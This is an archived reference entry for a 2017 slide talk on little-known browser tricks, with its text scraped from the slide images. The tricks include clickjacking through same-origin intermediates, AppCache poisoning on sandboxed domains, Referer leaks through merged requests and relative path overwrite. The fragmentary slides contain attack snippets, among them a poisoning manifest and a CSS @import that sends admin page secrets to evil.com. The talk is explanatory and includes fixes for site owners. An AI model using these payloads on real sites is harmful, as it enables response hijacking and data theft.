--- type: Slides title: Exploiting the unexploitable with lesser known browser tricks description: Browser quirks that defeat defences assumed sound. X-Frame-Options SAMEORIGIN can be framed through a same-origin intermediate such as Google AMP or a Twitter player card; AppCache fallback plus a cookie bomb persistently hijacks responses on sandboxed domains; browsers merge identical in-flight requests, leaking Referer-protected responses; relative path overwrite turns CSS and script imports into injection. resource: "https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks" tags: [slides, webseclist-reference, en, speaker-deck, ui-redress, clickjacking, cache-poisoning, iframe, cookie, css-injection, sop-bypass, xss, owasp-a01-2021, owasp-a03-2021, owasp-a04-2021, owasp-a07-2021] generated: by: webseclist-refs/1 at: "2026-08-10T16:00:41+00:00" status: stable stale_after: 2027-08-10 sources: - id: original resource: "https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks" title: Exploiting the unexploitable with lesser known browser tricks author: filedescriptor last_modified: 2017-05-11 also_at: [] authors: - filedescriptor canonical_url: "" cited_by: - "2016-17.md:38" commit: "" content_sha256: b7b34996b7e6e10f6b7d4c66da809f31894c8d1ca8cdb5b4c6205b6a8e51fb9a depth: full depth_reason: default kind: slides language: en licence: unknown original_url: "https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks" published: 2017-05-11 publisher: Speaker Deck publisher_english: "" raw_sha256: bfa4c0d576ebbf34f6b1f09a0b07041f4585fa110bb64f76725a76c0b044e7fd retrieved_from: "https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks" retrieved_kind: live retrieved_utc: "2026-08-10T16:00:41+00:00" slug: 2017-speaker-deck-exploiting-unexploitable-lesser-known-browser-tricks snapshot: "" title_english: "" translation_file: "" translation_of: "" --- # Exploiting the unexploitable with lesser known browser tricks **Exploiting the unexploitable with lesser known browser tricks** - filedescriptor, Speaker Deck. - Published: 2017-05-11 - Original: - Preserved from: https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks (live) on 2026-08-10 - Licence: unknown Rights remain with the original author and publisher. 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### [–Every site that uses XFO “Clickjacking is a solved problem”](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_2.jpg) - ### [X-Frame-Options Value Should I use it? Why ALLOWALL Nope As](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_3.jpg) its name suggests ALLOW-FROM uri Nope Not work on Webkit/Blink DENY Yup Not framable at all SAMEORIGIN Yup? Not framable by other sites - ### [XFO: sameorigin Expectation Reality](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_4.jpg) - ### [What does that mean? • Sites that frame untrusted pages](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_5.jpg) are still vulnerable • but… • who is stupid enough to allow untrusted frames? - ### [Google AMP https://google.com/amp/s/yoursite.com](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_6.jpg) - [None](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_7.jpg) - ### [Site-wide XFO: sameorigin](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_8.jpg) - ### [Top frame: google.com Intermediate frame: innerht.ml Child frame: google.com](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_9.jpg) - ### [Twitter Player Card](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_10.jpg) - ### [ but, anti-frame-buster In addition to XFO there’s frame-buster - ### [Top frame: twitter.com Intermediate frame: innerht.ml Child frame: twitter.com](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_12.jpg) - [None](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_13.jpg) - ### [XFO: sameorigin considered harmful • For researchers: • Don’t give](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_14.jpg) up when you see XFO: sameorigin • Look for places where untrusted frames are allowed • For site owners: • Use Content-Security-Policy: frame-ancestors (except IE) • Don’t allow untrusted frames - ### [–Every bug bounty program “XSS on sandboxed domains is out-of-scope”](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_15.jpg) - [None](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_16.jpg) - ### [Service Worker’s scope # https://dl.drop/u/evil/worker.js ✅ https://dl.drop/u/evil/stuff ❌ https://dl.drop/u/legit/stuff](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_17.jpg) - ### [https://dl.drop/u/evil/hack.html https://dl.drop/u/evil%2fworker.js (https://dl.drop/u/evil/worker.js) & https://dl.drop/u/legit/foo.exe & https://dl.drop/u/evil/virus.exe / -> %2f](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_18.jpg) (server-sider decoding) - [None](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_19.jpg) - [None](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_20.jpg) - ### [Service Worker has an older brother](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_21.jpg) - ### [Appcache Content-Type: text/cache-manifest is not mandatory](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_22.jpg) - ### [Appcache’s fallback 404.html backup.html If a response is inaccessible, fallback](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_23.jpg) file will be served instead - ### [Appcache - scope + error = Service Worker](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_24.jpg) - ### [Cookie Bomb](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_25.jpg) - ### [Cookie '+ Appcache = ? 1. Set many cookies on](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_26.jpg) root path 2. Requests to every file will result in HTTP 413 3. Appcache’s fallback kicks in and replaces the response 4. ??? 5. Profit! - ### [AppCache Poisioning https://dl.drop/u/evil/hack.html https://dl.drop/u/evil/manifest.txt & https://dl.drop/u/legit/foo.exe (HTTP 413) & https://dl.drop/u/evil/virus.exe](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_27.jpg) (fallback) - ### [Attack in action CACHE MANIFEST # Permanently cache the manifest](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_28.jpg) file itself manifest.txt # Route all traffic to poison.html FALLBACK: / poison.html attack.html manifest.txt - ### [Impact • Requests/responses will be persistently hijacked • The only](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_29.jpg) way to get rid of it is users manually clear cookies/appcache - ### [How to “patch” it • Put your sandboxed domains onto](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_30.jpg) Public Suffix List • domains on the list cannot have cookies • Avoid directly serving HTML files • Optimally, serve user generated contents on different subdomains instead of directories - [None](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_31.jpg) - ### [–Every lazy developer “When in doubt, validate Referer”](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_32.jpg) - ### [Real world scenario • Assuming appA.com wants to share authenticated](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_33.jpg) user info to its partners • It uses JSONP to transfer the data • It checks if the importing website is its partners by validating referer - ### [callback({"user":...)} https://appA.com/user.js https://appB.com/ https://appC.com/ https://evil.com/ Referer: appB.com Referer: appC.com Referer:](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_34.jpg) evil.com - ### [9 catz but only 1 request! Observation](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_35.jpg) - ### [ ](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_36.jpg) } GET cat.png HTTP/1.1 - ### [ ](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_37.jpg) GET cat.png?1 HTTP/1.1 GET cat.png?2 HTTP/1.1 GET cat.png?3 HTTP/1.1 GET cat.png?4 HTTP/1.1 GET cat.png?5 HTTP/1.1 GET cat.png?6 HTTP/1.1 GET cat.png?7 HTTP/1.1 GET cat.png?8 HTTP/1.1 GET cat.png?9 HTTP/1.1 - ### [Request merging • If multiple same simple requests are issued](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_38.jpg) at the simultaneously, they will be merged into one (Chrome, Safari & IE) • Same being same URL and same initiator • Simple being GET requests and simple initiators (script, style, image, …) • Simultaneously being if there is an unfinished same request - ### [URL Initiator Same unfinished requests will be merged New request](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_39.jpg) if no unfinished requests - ### [It works on iframes too! merged jquery.js](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_40.jpg) - ### [Wait, what about the referer?](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_41.jpg) - ### [Headers are not considered • Requests are merged even if](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_42.jpg) they have different request headers • If siteA and siteB imports the same script in the same tab simultaneously, they share the first issued request - ### [Stealin’ the referer merged https://appA.com/user.js](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_43.jpg) - ### [attacker.com victim.com appA.com/user.js appA.com/user.js iframe script script merged Referer: victim.com](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_44.jpg) - ### [Referer validation is fragile • There were and will be](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_45.jpg) tons of ways to forge referer • Always assume referer is not a reliable source (I’m (ing at you Twitter) • User CORS for cross-origin requests - ### [–Every site that has more than one domain “Why absolute](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_46.jpg) when you can relative” - ### [Relative Path Overwrite http://example.com/foo/bar.php main.css /foo/main.css](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_47.jpg) - ### [Relative Path Overwrite http://example.com/foo/bar.php/1337 main.css /foo/bar.php/main.css](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_48.jpg) - ### [Quirks mode ignores CSS errors ](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_49.jpg) {}*{background:red} bar.php - ### [Relative Path Overwrite http://example.com/foo/bar.php/1337 /foo/bar.php/main.css main.css This part server doesn’t](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_50.jpg) care - ### [Things you can do • XSS via expression/scriptlet on IE](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_51.jpg) (requires old versions/compat mode) • Leak current URL via Referer • Steal secret contents - ### [You can’t steal secrets if there’s no secrets ](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_52.jpg) {}*{background:red} - ### [RPO Gadget • Not ROP Gadget • The “stylesheet” itself](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_53.jpg) does not contain secrets • But you can import another “stylesheet” that contains secrets • It’s like using the “stylesheets” as gadgets - ### [ {}@import'../admin.php' ](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_54.jpg) bar.php {}@import"//evil.com/?

secret

admin.php http://evil.com/?

secret… - ### [Google Toolbar](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_55.jpg) - ### [RPO = CSS abuse?](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_56.jpg) - ### [IE doesn’t know how to decode URL in redirect HTTP/1.1](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_57.jpg) 302 Found Location: http://example.com/foo/bar.jsp;/.%2e/.%2e/1337 GET /foo/bar.jsp;/.%2e/.%2e/1337 HTTP/1.1 http://example.com/1337 - ### [Controlling JS path http://example.com/1337 main.js /main.js http://example.com/foo/bar.jsp;/.%2e/.%2e/1337 /foo/main.js Server sees](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_58.jpg) Expected Imported - ### [Google Fusion Table](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_59.jpg) - ### [scripts imported with relative path](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_60.jpg) - ### [Attack in action https://www.google.com/amp/innerht.ml js/gvizchart_all_js.js /amp/innerht.ml/ js/gvizchart_all_js.js https://www.google.com /fusiontables/DataSource;/.%2e/.%2e/amp/innerht.ml?docid=foobar /fusiontables/ ](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_61.jpg) js/gvizchart_all_js.js https://innerht.ml/js/gvizchart_all_js.js (302 Redirect) Server sees Expected Imported - [None](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_62.jpg) - ### [How to tell if a site is vulnerable? • If](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_63.jpg) there is a web page in which • it returns the same response even if appended ;/.%2e/.%2e • There’s a scripts imported with relative path • There’s a path-based open redirect - ### [Moral of the story • Relative paths are dangerous •](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_64.jpg) There are even more similar quirks waiting to be discovered • You should configure the server such that paths with trailing junks are considered separate routes - ### [Recap • XFO: sameorigin • Sandboxed domain cookies • Referer](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_65.jpg) based protection • Relative path & lax server configuration - ### [Questions? Comments? Thank you very much!](https://files.speakerdeck.com/presentations/f6a6afa51b784e0eb6d4370fe2079158/slide_66.jpg)